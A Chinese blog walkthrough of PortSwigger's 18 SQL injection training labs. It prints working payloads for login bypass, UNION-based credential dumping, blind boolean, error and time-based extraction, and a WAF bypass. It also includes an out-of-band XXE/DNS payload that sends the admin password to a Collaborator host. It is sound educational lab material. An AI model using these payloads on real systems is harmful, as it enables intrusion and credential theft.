【最新PortSwigger官方靶场攻略】SQL注入攻击

1,224 阅读17分钟

wallhaven-kxk66q.png

portswigger靶场SQL注入18个实验

前言

写在攻略之前:

在正式开始你的SQL注入大战之前,你需要知道:

(1)如何使用burpsuite对浏览器请求进行最基本的抓包;

(2)了解MYSQL最基本的查询语句;

(3)该靶场所有的密码,部分隐式表名、字段名均为动态更新数据;

(4)该靶场部分关卡可能会发生更新或增删,欢迎各位大佬在评论区留言!

接下来,让我们一起开启一段实践之旅吧~

实验一:显示隐藏商品

根据题目要求得知,该实验要我们查询隐藏商品。

image.png

首先选择一个分类,这里选择Accessories类为例:

image.png

在URL后面加上'--,即https://abc009c03ba0cfa864072e4001b009c.web-security-academy.net/filter?category=Accessories'--,将Accessories后面的内容注释掉。其中,双短划线--是 SQL 中的注释符号。应用程序的后端数据库查询语句可能会像这样:

SELECT * FROM products WHERE category = 'Accessories'--' AND price > 50;

在这个查询语句中,单引号用于将 Accessories 字符串括起来,后面的双短划线(--)将后面的字符串注释掉了,导致查询语句变成了:

SELECT * FROM products WHERE category = 'Accessories';

此时看到查询成功后的页面多出一个商品,我们成果获取了隐藏数据!

image.png

那么如何查询到包括隐藏商品在内的所有商品呢? 只需在后面加上一个'or 1=1的逻辑判断即可,即https://abc009c03ba0cfa864072e4001b009c.web-security-academy.net/filter?category=Accessories'or 1=1--。因为1=1一定为真,所以查询结果包含所有商品。 可以看到查询返回了所有商品。

image.png

我们也可以使用burpsuite来体验抓包并完成SQL注入攻击的过程。 首先确保你已经成功调教好你的burpsuite并知道如何进行基础抓包操作。如果有不清楚的小伙伴可以在评论区留言。以下使用kali linux 2023虚拟机进行操作。 打开火狐浏览器,同样进行普通查询,得到Accessories对应的三个商品。在URL后面加上'or 1=1查询所有商品。

ZO`4DIZBREL4EFJ~{A36FHJ.png

实验二:绕过登录逻辑

根据题意,该实验要求我们通过SQL攻击得到管理员权限。

image.png

首先来到登陆页面,

image.png image.png 先任意填一个用户名和密码提交,通过burpsuite抓包可以看到,post数据包有csrf、username、password三个参数。 image.png 0QI(3~{H`L9Q(N2GU_R7T1A.png

在administrator后面加上'--,任意写一个密码,登陆成功。 ZTQ~7X_QWVXU`V3L0T_W0.png 可以看到post数据包中,用户名后面的数据都被注释掉了:

1689130982813.png image.png

实验三:UNION攻击查询Oracle数据库的类型和版本

image.png 首先使用order by语法判断列数。 我们发现在'order by 2时成功返回查询内容

image.png

但是在'oder by 3后返回报错信息,说明有两列。

image.png 根据题目要求,我们使用union确定查询返回的列数以及哪些列包含文本数据。使用类别参数中的以下有效载荷验证查询是否返回包含文本的两列:

'union select 'a','a' from dual--

dual是Oracle数据库中的一个虚拟表(或称伪表),它只有一行一列,用于执行没有真实表可用的 SELECT语句或计算表达式。 可以判断查询返回了包含文本的两列。所以我们用以下查询得到Oracle数据库版本信息:

'union select BANNER,NULL from v$version--

其中,banner是 Oracle 数据库中的一个元数据列,它包含了数据库的版本信息和其他相关信息。在 Oracle 数据库中,可以通过查询 v$version 视图来获取 BANNER 列的值。 可以看到查询结果回显了数据库版本信息:

image.png

实验四:UNION攻击查询数据库版本(空格版)

根据题意得知实验四还是要获取数据库版本信息,只不过我们用实验三的手段无法通过order by进行回显。因此,我们需要在注释--后面加上一个空格,来确保注释不会因URL截断而与查询语句的其余部分合并在一起,从而导致查询语句出错。同样通过'order by 2-- 正确回显,而order by 3-- 无法回显,判断有两列。然后查询数据库版本,完整如下: (https://acd009d0486168080bf036a004e00f7.web-security-academy.net/filter?category=Accessories%27union%20select%20@@version,null--%20)

image.png

实验五:UNION攻击获取管理员账号(non-Oracle)

现在来到了更有意思的环节,根据题意,我们需要通过SQL注入攻击获取管理员账号进行登录。老办法,还是先用order by得到列数为2。

好,接下来我们来理下思路:我们想得到的管理员账号从哪来?是不是保存在一个表中?如果是的话,那个表存储管理员账号和密码的列名又是什么?那张表表名又是什么?想清楚这些问题,问题便能迎刃而解。

首先,为了得到我们需要的那个表名,我们需要知道所有表名。信息模式数据库 information_schema.tables 包含了所有数据库中的表的信息,包括表的名称、列的名称、数据类型、索引信息等。通过这个攻击语句,可以利用数据库中的漏洞,将查询结果发送给攻击者,从而泄露敏感信息。如下列出非Oracle数据库中的内容:

category=Pets'UNION SELECT table_name,NULL FROM information_schema.tables--

回显得所有表名。从中找出对我们有用的表:users_abcdef

image.png

image.png 知道了表明,接下来我们需要知道表中字段名。信息模式数据库 information_schema.columns 包含了所有数据库中的表的列的信息,包括列的名称、数据类型、默认值等。如下:

'UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users_iiczoc'--

由此得到我们需要的列名,分别是账户名和密码:

image.png 最后,通过查询该表所有账户名和密码信息,获得管理员账户,成功登录!

'UNION SELECT username_eleukv, password_jxoeff FROM users_iiczoc--

image.png

成功登录~

image.png

注意,每次进入关卡后数据库名和字段名等都会动态更新,所有直接用别人的攻略信息去登录是没用的哦~

第六关:UNION攻击获取管理员账号(Oracle)

和上一关类似,只是现在需要列出Oracle数据库的内容。all_tables 视图是 Oracle 数据库中的一个系统视图,用于提供关于所有表、视图和同义词的信息,包括它们的名称、拥有者、表空间等信息。如下:

'UNION SELECT table_name,NULL FROM all_tables--

得到所有表名,然后从中获得我们需要的表名:

image.png image.png

列出表中字段名,得到我们所需字段名:

'UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name='USERS_TBIQBQ'--

image.png

通过字段名得到所有账户信息,从中获得管理员账户:

'union select USERNAME_ENDWHA,PASSWORD_MUKSVT from USERS_TBIQBQ--

image.png

用管理员账户进行登录成功!

image.png

第七关:确定列数

这一关很简单,不知道为什么放在这里...直接用order by查出列数为3,然后用UNION进行SQL空值攻击就过关啦。 'union select null,null,null--

第八关:UNION攻击找出字符串数据匹配的列

同样的,判断出列数为3后,在三个列的位置分别放一个字符串数据去试就ok啦。最后将题目给出的随机字符串放到正确列的位置,成功回显。

'union select null,'tCmavF',null--

image.png

第九关:Union攻击从其他表检索数据

还是先通过order by得到列数为2。因为题目给了表名为users,列名也分别给出,所以直接union查询:

'UNION SELECT username, password FROM users--

得到管理员账户,成功登录~

image.png

image.png

第十关:UNION攻击通过一个字段检索出多个值

根据题意,我们知道表名和列名,然后通过order by知道列数为2。但是问题在于我们不能像之前一样,直接在两列位置查询用户名和密码。我们发现只有第二字段是字符串类型,这意味着第一列总是需要用空值来占位。这里有两种方法可以解决。

第一种是通过SQL语法,查询用户名为administrator的用户对应的密码:

'UNION SELECT null,password from users where username ='administrator'--

但是这种方式默认管理员用户名已知,局限性太大。所以推荐第二种方式进行注入:

'+UNION+SELECT+NULL,username||'~'||password+FROM+users--

上面语句将两个 SELECT 查询的结果合并在一起,以便从不同的表中选择不同的列并将它们组合起来。在这个例子中,第一个 SELECT 语句选择了 NULL 常量值作为占位符,第二个 SELECT 语句选择了 username 和 password 列,并使用 '||' 运算符将它们连接起来,并在它们之间添加了一个自定义的分隔符 '~'。

image.png 拿到管理员账户,成功登录~

image.png

十一关:基于条件返回的SQL盲注

这里我们需要使用burpsuite拦截请求,如果不会调教bp的小伙伴可以去搜搜教程,这里就不细说了。根据题意,我们知道,本关SQL查询的结果不会返回,并且不会显示任何错误消息。但是,如果查询返回任何行,应用程序会在页面中包含一个“welcome back”的消息。而本关的关键在找到cookie里面有一个叫做TrackingId的参数。

image.png

我们将TrackingId的内容后面添加上' and '1'='1,页面会返回"Welcome back"。

image.png

0UEPKIK9ZZRDRORG15Y5C@P.png

当输入' and '1'='2时,不会返回"Welcome back",确定该参数可以SQL盲注。

image.png

image.png

接下来,在TrackingId后加上' AND (SELECT 'a' FROM users LIMIT 1)='a,如果为真,说明users表存在。而我们看到返回了"Welcome back",说明存在表users。

TrackingId后加上' AND (SELECT 'a' FROM users WHERE username='administrator')='a,如果为真,说明存在用户名 administrator。而我们看到返回了"Welcome back",说明存在用户名 administrator。

TrackingId后加上' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a,如果为真,说明密码长度大于1;可以手工改变LENGTH(password)>2后面整数值,也可以使用burp遍历,最终确定密码长度,实际上是20位。(大于19为真,大于20为假)

确定密码长度后,就可以开始确定每个字符是什么,在TrackingId后加上' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a,判断密码的第一个字符,如果为真,说明是a,如果不为真,依次进行判断,可以用burp的intruder模板进行爆破。这里理论上可以直接点击My account,来到登陆页面,我们已知管理员登录名为administrator,密码随便填一个,提交login请求,使用burpsuite进行拦截,然后用intruder进行暴力破解。但是这需要用到bp专业版,而且相对更为费时,所以我们采用第二种办法。

TrackingId后面加上' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a,用于判断密码的第一个字符值是否为a。这里我们用intruder进行爆破。可以在target中选中拦截的请求,右键选择send to intruder,然后到intruder模块中先点击右边的clear,再选中trackingId最后面的,点击add,再选中trackingId最后面的,点击add;

image.png

在position模块默认攻击类型为狙击手sniper不变,来到payload有效载荷,默认类型为simple list不变。在payload settings添加测试字符,即在有效负载设置下添加从a到z和从0到9的有效负载。之后来到settings模块,因为当密码正确时可以在页面看到Welcome back,所以先清除所有Grep-Match中的值,添加Welcome back。完成以上配置后,start attack!

1689299563436.png

可以看到上面为攻击结果,当测试字符为g时,grep match字段值为1,说明我们第一位密码为g。类似地,我们可以这样测试后面的19位,便可得出密码。我当时破解出的密码为pprj2pr94ypg0n2wuo2i,当然这只针对我当时的cookie生效。

image.png

第十二关:基于条件错误的SQL盲注

根据题意我们知道,如果SQL查询导致错误,应用程序会返回一个自定义的错误消息。还是使用burosuite拦截请求,在cookie的trackingId后面加上',可以看到服务端返回的状态码为500。而我们添加两个单引号''后,正常回显,那么该参数可能存在SQL盲注;

image.png

因为返回的500错误是通用的错误,不能确定是SQL语法解析错误还是其他错误。为此构造SQL子查询,非Oracle数据库执行'||(SELECT '')||',Oracle数据库执行'||(SELECT '' FROM dual)||',如果没有报错,查询一个不存在的表'||(SELECT '' FROM not-a-real-table)||',如果报错,则可以确定存在注入。可以看到我们加上from dual后服务端返回200,说明目标使用的是oracle数据库。

image.png

当我们把dual换成任意一个不存在的表后,服务端返回500,确定存在盲注。- 接下来很关键,逻辑比较绕,在SQL语句中以from分隔前后,SQL语句执行顺序是先执行from后面的

1.from 真 ==>  真
2.from 假 ==>  真
3.from 真 ==>  假
4.from 假 ==>  真

测试administrator用户是否存在,如果存在,from后面语句为真,因为to_char导致错误为假,返回500;如果不存在,from后面语句为假,查询结果为空,返回200。

TrackingId=abc'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

可以看到,服务端返回500错误,说明from后面语句为真,即存在administrator用户;

1689317804651.png

接下来确定密码长度,如果密码长度大于1,执行to_char(1/0),返回错误,根据之前的方法确定密码长度20位:

TrackingId=abc'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'

可以看到,大于90时服务端返回500,大于20时服务端返回200,所以密码长度为20位。

image.png

接下来通过intruder爆破20位密码,详细过程跟上一关一样,只需要和上一关一样上传payload settings,然后观察哪个字符值服务端返回500即可。

image.png

最后我得到的密码为5uyu6i6vev912zo84w29,成功登录!

image.png

第十三关:基于可见错误的SQL注入

根据题意,我们知道目标存在users表,表中username和password字段存储用户名和密码。 通过TrackingId=abc' AND 1=CAST((SELECT 1) AS int)-- 发送请求,服务器正常回显,表明这是一个有效的查询。调整该通用SELECT语句,以从数据库中检索用户名:

TrackingId=ogAZZfxtOKUELbuJ' AND 1=CAST((SELECT username FROM users) AS int)-- 观察到收到初始错误消息。注意到由于字符限制,查询似乎被截断了。因此刚刚添加的注释字符没有被包含在内。删除TrackingId cookie的原始值以释放一些额外的字符。重新发送请求。

TrackingId=' AND 1=CAST((SELECT username FROM users) AS int)-- ,收到一个新的错误消息,这似乎是由数据库生成的。这表明查询已经正确运行,但由于返回了多行,仍然会收到错误。 修改查询以仅返回一行:

TrackingId=' AND 1=CAST((SELECT username FROM users LIMIT 1) AS int)-- 发送请求。观察到错误消息现在泄漏了users表中的第一个用户名:

ERROR: invalid input syntax for type integer: "administrator" 现在我们知道管理员是表中的第一个用户,再次修改查询以泄漏他们的密码:

TrackingId=' AND 1=CAST((SELECT password FROM users LIMIT 1) AS int)--

得到密码为gca7w53izc95hzlqd0bf;

image.png 成功登录~

image.png

第十四关:时延SQL盲注

根据题意,我们知道我们需要利用sql注入完成10秒的时延。因此,我们只需要利用bp抓包,在trackingid后面加上 '||pg_sleep(10)--即可。

image.png

image.png

第十五关:基于延时的SQL盲注并且检索数据

  • 抓包,还是修改TrackingId参数,TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--。这里的%3B代表分号字符的URL编码版本,用于在SQL语句中分隔多个查询。如果不明白该sql查询的意思,可以单独将它拿出来看:
SELECT CASE WHEN (1=1) THEN pg_sleep(10) ELSE pg_sleep(0) END--

该句使用了一个CASE语句来检查条件。如果条件 (1=1) 成立,则执行 pg_sleep(10),即让数据库休眠 10 秒钟;否则执行 pg_sleep(0),即让数据库休眠 0 秒钟。观察到存在延时,继续修改该语句;

  • 修改:TrackingId=x'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--,观察到返回没有延时,以此判断是boolean型注入;
  • 判断用户名是否administrator,TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--,观察到延时,说明存在administrator用户名;
  • 确定密码长度,实际是20位,TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
  • 确定密码字符,TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--
  • 为了能够确定正确字符何时被提交,需要监控应用程序响应每个请求所花费的时间。为了使这个过程尽可能可靠,最好配置入侵者攻击以在单个线程中发出请求。转到resource pool“资源池”选项卡,并将攻击添加到一个最大并发请求设置为1的资源池中。

image.png

使用intruder进行爆破时,留意停在哪一个字符值产生了10秒的时延。因此,请确保网络通畅。

当然也可以不那么配置,只需要留意哪个字符值的返回信息返回存在明显延时即可。比如我这里值为q时,相关状态码等信息的显示存在明显时延,因此第一个字符为q。

image.png

最后得到密码为qjrkmcz4wevwyfw9uubv,成功登录!

image.png

第十六关:带外交互的SQL盲注

这里我们需要让数据库对外部域执行 DNS 查找。先抓包,结合XXE攻击。为了找到正确的有效载荷,我们可以打开SQL注入备忘录,找到DNS lookup,上面有不同数据库对应的有效载荷如果一个个地试可以发现这里是oracle数据库。

image.png

image.png 然后在trackingId后加上 '+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual-- 其中EXTRACTVALUE()是对XML文档进行查询和修改的函数。我们需要找到自己的COLLABORATOR子域名替换掉上面的BURP-COLLABORATOR-SUBDOMAIN。在burpsuite左上角的burp中进入burp collaborator client,注意这里只有bp professional可以打开。打开后点击copy to clipboard复制自己的collaborator子域名并进行替换。点击send,然后点击poll now,使用collaborator server检索DNS交互信息,我们可以发现接收地IP,说明DNS查询成功。

image.png

第十七关:通过带外交互获取数据实现SQL盲注

根据题意,我们知道存在users表,存在username和password字段,并存在administrator用户名。在上一关的基础上进行修改,加上查询语句便可得到管理员密码。在trackingId后加上: '+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--

同样,替换掉你的子域名,send之后点击poll now查询,可以看到返回了密码。

image.png

第十八关:通过 XML 编码使用过滤器旁路的 SQL 注入

非常棒,我们已经来到了最后一关!

根据题意,我们知道存在users表,并且提示我们存在网络应用防火墙WAF阻止我们SQL注入。别急,我们先来看看WAF的作用。进入实验,选择一个商品view details,点进去在最下面点击check stock,在burpsuite的proxy里的http history中,找到有一个post请求,它可能会直接与后端交互。将它send to repeator,点击send,这时我们可以尝试一下SQL注入。在productId的1后面加上UNION SELECT NULL进行测试,可以看到发送后响应里检测到了可能存在的攻击。因此,我们需要绕过WAF完成SQL注入。

image.png

在注入 XML 时,请尝试使用 XML 实体对有效负载进行模糊处理。一种方法是使用 Hackvertor 扩展。 image.png 只需选中输入1 UNION SELECT NULL,右键单击,然后选择 Hackvertor >extensions >encode > dec_entities /hex_entities,可以看到生成了特殊编码来绕过WAF。

image.png 如果我们写两个NULL,会得到下面这样的返回:

image.png 所以可以知道,这里只能查询一列,我们需要将用户名密码用一句语句联合查询。

UNION SELECT username || '~' || password FROM users

得到用户名和密码,找到管理员账户,成功登录!

image.png

image.png